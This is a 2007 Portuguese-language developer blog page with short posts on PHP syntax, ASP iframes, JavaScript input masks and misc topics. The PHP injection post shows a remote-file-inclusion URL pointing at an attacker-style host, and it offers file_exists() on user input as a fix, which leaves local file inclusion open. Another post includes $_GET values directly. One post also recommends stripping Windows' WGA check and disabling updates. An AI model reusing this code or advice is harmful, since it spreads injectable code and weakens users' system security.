logoLog da Selva


Método chinês de multiplicação.

Escrito em Aleatórios, Dicas, Utilitários por Allan Tito em 28 de Junho de 2007

Como sempre blogando e navegando por ae eu encontro coisas interessantes. Hoje achei um metodo um poco estranho de multiplicar números, mas efetivo.

Chaves e Ends

Escrito em Dicas, PHP por Luã de Souza em 28 de Junho de 2007

No PHP existem duas formas diferentes de se usar estruturas condicional e de loop, uma usando chaves ({ e }), e outra usando o termo end + nome da condição. Exemplos:

Chaves:

if ($foo == "bar") {
   echo "true";
} else {
   echo "false";
}

Ends:

if ($estado == "rio de janeiro") :
   echo "Carioca";
else :
   echo "Turista!";
endif;

Agora você deve estar se perguntando o motivo de usar endif, endwhile, endswitch, se basta colocar um } e fica tudo certo. Meu maior motivo para passar a usar end’s, foi a organização. O uso de chaves fica muito prático quando se tem um número reduzido de estruturas, agora veja o seguinte código:

if (!empty($_POST)) {
  for ($i=0;$i<count($_GET);$i++) {
    foreach($_GET as $key => $value) {
      switch ($key) {
        case $key == 'page' :
          if (file_exists($value)) {
            include($value);
          }
        break;
      }
    }
  }
}

Confuso? É, a intenção foi fazer uma gambiarra mesmo. Basicamente o código verifica se um formulário é enviado, depois percorre o array $_GET e trata cada variável dele. Mas isso você entendeu… Agora, quanto tempo perdeu pra identificar o fim das estruturas? Imagine, então, 10 chaves seguidas… E ainda sem identação. Pois é, bem difícil de entender. Agora vamos ao exemplo com end’s:

if (!empty($_POST)) :
  for ($i=0;$i<count($_GET);$i++) :
    foreach($_GET as $key => $value) :
      switch ($key) :
        case $key == 'page' :
          if (file_exists($value)) :
            include($value);
          endif;
        break;
      endswitch;
    endforeach;
  endfor;
endif;

Viu, que lindo? Qualquer um entende onde começa e onde termina uma estrutura só de bater o olho! Tá aí a grande utilidade dos end’s ;)

Dúvidas?

Iframe - o AJAX do Paraguai

Escrito em ASP por Rodrigo Fournier em 27 de Junho de 2007

Bom galera, esse é meu primeiro post por aqui, e estou muito feliz por isso. Trabalho programando em ASP, por isso criei essa seção, e vou relatar em meu primeiro post, uma experiência vivida por mim no trabalho a pouco tempo.

Meu patrão me pediu que eu validasse upload de arquivos em todas as manutenções dos sites que damos suporte lá na empresa. Essa validação seria pra só deixar que upassem arquivos que tivessem extensões permitidas, Upload de img, não poderia upar música por exemplo. Eu já havia feito em todas as manutenções exceto em uma, que foi a que me causou grandes problemas.

Ao ver o código, eu tentava entendê-lo, e alterá-lo, mas nada acontecia. Tentarei explicar o que ocorria. Ao preencher os campos, nome e caminho da img, se estivesse certinho (reparem que até então certo era o carregamento de qualquer extensão) direcionava para uma página de confirmação e tal. Quem conhece asp sabe que pra se debugar um código, uma boa maneira, é colocarmos o response.Write pra escrever alguma coisa na tela e o response.end pro código parar por ali, somente mostrando o que vier após o response.write.

Como já disse nada acontecia quando eu fazia essas alterações, apenas a página não era mais direcionada a página de confirmação. Foi ai que perguntei a um amigo, e ele foi olhar o código comigo. Ele mostrou que a linha que fazia o direcionamento pra tal página de confirmação, tinha o seguinte detalhe target=”hidGrade”. O que isso significa?? Era um iframe que estava localizado abaixo de todo conteúdo da página, e estava setado pra ficar invisível, por isso eu mexia e debugava o código e nada acontecia, pois toda alteração ocorria dentro desse iframe. Foi a primeira vez que vi isso, eu já havia trabalhado com iframe mas não dessa maneira.

Daí foi só trocar o status dele pra visível e pronto, pude ver tudo o que não via. Ai comecei a pensar o por que de terem feito isso, e é simples. Quando se tem um iframe invisível que faz tudo dentro dele, sua página não é recarregada. Como disse meu primo Luã que também posta aqui no blog, um AJAX do Paraguai !!!

Bom o artigo ficou bem extenso mas espero que tenha passado um bom conteúdo.

BackBase - O Ajax nunca foi tão simples!

Escrito em Aleatórios, Dicas, Utilitários, JavaScript por Rodrigo Waltenberg em 23 de Junho de 2007

Outro dia, tivemos que apresentar um trabalho sobre Web 2.0. Papo vai, papo vem, até que o Allan Tito (que posta nesse blog, inclusive, o post anterior é dele) fala sobre Ajax. Eu ja conhecia a base desse conceito, tanto que eu que sugeri o assunto a ele, mas aquela apresentação chamou a minha atenção.

Decidi, então, pesquisar tutoriais de ajax. Minha primeira impressão foi: "Watahell is this?!". Confesso que não entendo nada entendo muito pouco de JavaScript e aqueles códigos me deixaram confuso. Logo, pensei como todo preguiçoso programador pensa: "Pra que fazer isso se ja existe algo pronto e livre?". Tornei a procurar por algo que pudesse fazer o trabalho pesado por mim e, gracias!, acabei achando o BackBase. O Backbase é um "add-on pra html". Ele cria uma linguagem XML que faz todo o trabalho por você e, o melhor, tem uma versão gratuita. O código é tão fácil que dá gosto de fazer sites com Ajax.

Clicando aqui vocês podem ter um exemplo do que essa maravilha é capaz.

Bom, recomendação dada. Até mais.

Tirando a mensagem “Você pode ter sido vítima de falsificação!” do seu windows XP!

Escrito em Aleatórios, Dicas, Utilitários por Allan Tito em 22 de Junho de 2007

Quem nunca foi perturbado pela mensagem "você pode ter sido vítima de falsificação de software"?

Caraca! E agora, o que eu faço? Meu PC ta lentaum!

Essa ferramenta da Microsoft WGA é uma atualização que incomoda e deixa o pc lento. Uma maneira fácil de retirar isso é com o Remove WGA disponível para download aqui.

Você roda o progama depois reinicia para que as mudanças tenham efeito. Depois disso desativa as mensagens de que você precisa atualizar o windows e tira as atualizações automáticas.

Tirei isso do Clube do Hardware.

Máscara de CNPJ, CPF, Data e Telefone em JavaScript

Escrito em Dicas, JavaScript por Luã de Souza em 21 de Junho de 2007

Esses dias estava trabalhando em um projeto que teve como exigência um formulário com máscaras pra CNPJ, CPF e telefone, fora outro com máscara pra datas, então criei uma função genérica pra máscaras, depois de muito pesquisar e reaproveitar partes de outros códigos.

Tipos e padrões:
CPF: XXX.XXX.XXX-XX
CNPJ: XX.XXX.XXX/XXXX-XX
TEL: (XX) XXXX-XXXX
DATA: DD/MM/YYYY

Sintaxe:
Máscara(tipo, campo, teclaPressionada);

Função:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function Mascara(tipo, campo, teclaPress) {
	if (window.event)
	{
		var tecla = teclaPress.keyCode;
	} else {
		tecla = teclaPress.which;
	}
 
	var s = new String(campo.value);
	// Remove todos os caracteres à seguir: ( ) / - . e espaço, para tratar a string denovo.
	s = s.replace(/(\.|\(|\)|\/|\-| )+/g,'');
 
	tam = s.length + 1;
 
	if ( tecla != 9 && tecla != 8 ) {
		switch (tipo)
		{
		case 'CPF' :
			if (tam > 3 && tam < 7)
				campo.value = s.substr(0,3) + '.' + s.substr(3, tam);
			if (tam >= 7 && tam < 10)
				campo.value = s.substr(0,3) + '.' + s.substr(3,3) + '.' + s.substr(6,tam-6);
			if (tam >= 10 && tam < 12)
				campo.value = s.substr(0,3) + '.' + s.substr(3,3) + '.' + s.substr(6,3) + '-' + s.substr(9,tam-9);
		break;
 
		case 'CNPJ' :
 
			if (tam > 2 && tam < 6)
				campo.value = s.substr(0,2) + '.' + s.substr(2, tam);
			if (tam >= 6 && tam < 9)
				campo.value = s.substr(0,2) + '.' + s.substr(2,3) + '.' + s.substr(5,tam-5);
			if (tam >= 9 && tam < 13)
				campo.value = s.substr(0,2) + '.' + s.substr(2,3) + '.' + s.substr(5,3) + '/' + s.substr(8,tam-8);
			if (tam >= 13 && tam < 15)
				campo.value = s.substr(0,2) + '.' + s.substr(2,3) + '.' + s.substr(5,3) + '/' + s.substr(8,4)+ '-' + s.substr(12,tam-12);
		break;
 
		case 'TEL' :
			if (tam > 2 && tam < 4)
				campo.value = '(' + s.substr(0,2) + ') ' + s.substr(2,tam);
			if (tam >= 7 && tam < 11)
				campo.value = '(' + s.substr(0,2) + ') ' + s.substr(2,4) + '-' + s.substr(6,tam-6);
		break;
 
		case 'DATA' :
			if (tam > 2 && tam < 4)
				campo.value = s.substr(0,2) + '/' + s.substr(2, tam);
			if (tam > 4 && tam < 11)
				campo.value = s.substr(0,2) + '/' + s.substr(2,2) + '/' + s.substr(4,tam-4);
		break;
		}
	}
}

Exemplo de uso:

1
<input name="cpf" type="text" maxlength="14" onKeyPress="Mascara('CPF',this,event);">

Testada no MSIE6 e no Firefox 2.0.4.

Espero que seja útil (:

Como votar no Cristo

Escrito em Aleatórios, Dicas por Luã de Souza em 21 de Junho de 2007

Que o Cristo Redentor está participando da eleição das 7 maravilhas do mundo moderno todo mundo sabe, mas nem todos sabem como votar ainda.

E, na reta final, cada contribuição é bem vinda! Se ainda não votou, você pode votar de duas maneiras.

Pelo celular:
Mande um SMS para 49216 com a palavra CRISTO, e ainda é de graça!

Voto Online:
Vá no site do n7w e digite seu nome, email e as 7 maravilhas. Escolha o Cristo Redentor e mais umas 6 fraquinhas! :D
Após a votação eles mandam um email de confirmação pra sua caixa de email, clique no link e confirme o voto, prontinho.
No site do corcovado tem um passo-a-passo de como votar online.

O globo escreveu um artigo bem completo sobre a votação.

Vote no cristo!

Ganhe um monitor LCD de 24″

Escrito em Aleatórios, Dicas por Luã de Souza em 21 de Junho de 2007

24 Wide LCD Monitor

O site do John Chow está realizando um concurso pra lá de generoso, está sorteando um monitor LCD de 24″ patrocinado pela empresa BlueFur - hosting Canada.

Como ganhar? Simples, coloque um link Make Money em um post do seu blog :)

PHP Injection - Como se previnir de invasão

Escrito em Dicas, Tecnologia, PHP por Luã de Souza em 20 de Junho de 2007

Até hoje ainda existem páginas PHP com falhas de segurança em includes, o que possibilita uma ‘PHP Injection‘.

O que é isso?
Muitas páginas usam a QueryString da página pra setar qual página deve ser usada em um include no site, tornando o site mais dinâmico. Como essa:

http://www.narutounlimited.com/blog/index.php?page=downloads.html

Página PHP:

1
2
3
<?php
include($_GET[‘page‘]);
?>

O grande problema é que você nunca, nunca deve confiar nos dados vindos de um usuário. Em um código desprotegido, por exemplo, o usuário pode colocar uma URL externa, como essa:

http://www.narutounlimited.com/blog/index.php?page=http://www.h4×0rs.com/injection.php

E a URL externa será exibida no seu site.

Qual o perigo disso?
Imagina se o usuário mal intencionado incluir, em seu site, uma página que permita a ele executar comandos direto na linha de comando shell do seu servidor? Ele pode fazer praticamente o que quiser!

Como se proteger?
Existem diversas maneiras, e cada programador usa a sua. Eu costumo usar a função file_exists() pra verificar se o arquivo à ser incluido existe no servidor.

1
2
3
4
5
<?php
if (file_exists($_GET[‘page‘])) :
    include($_GET[‘page‘]);
endif;
?>

Simples e prático.

Dúvidas? ;)

Jogos Pan Americanos no Rio de Janeiro

Escrito em Aleatórios por Luã de Souza em 20 de Junho de 2007

Faltando menos de um mês pro Pan aqui no Rio, e algumas instalações ainda não estão prontas. O Engenhão ainda em construção, maracanã sendo reformado… E eu ainda nem sei se vou lá ver algum esporte :(

Alguém aí animado pra ir lá ver o arremesso de peso?

Próxima Página »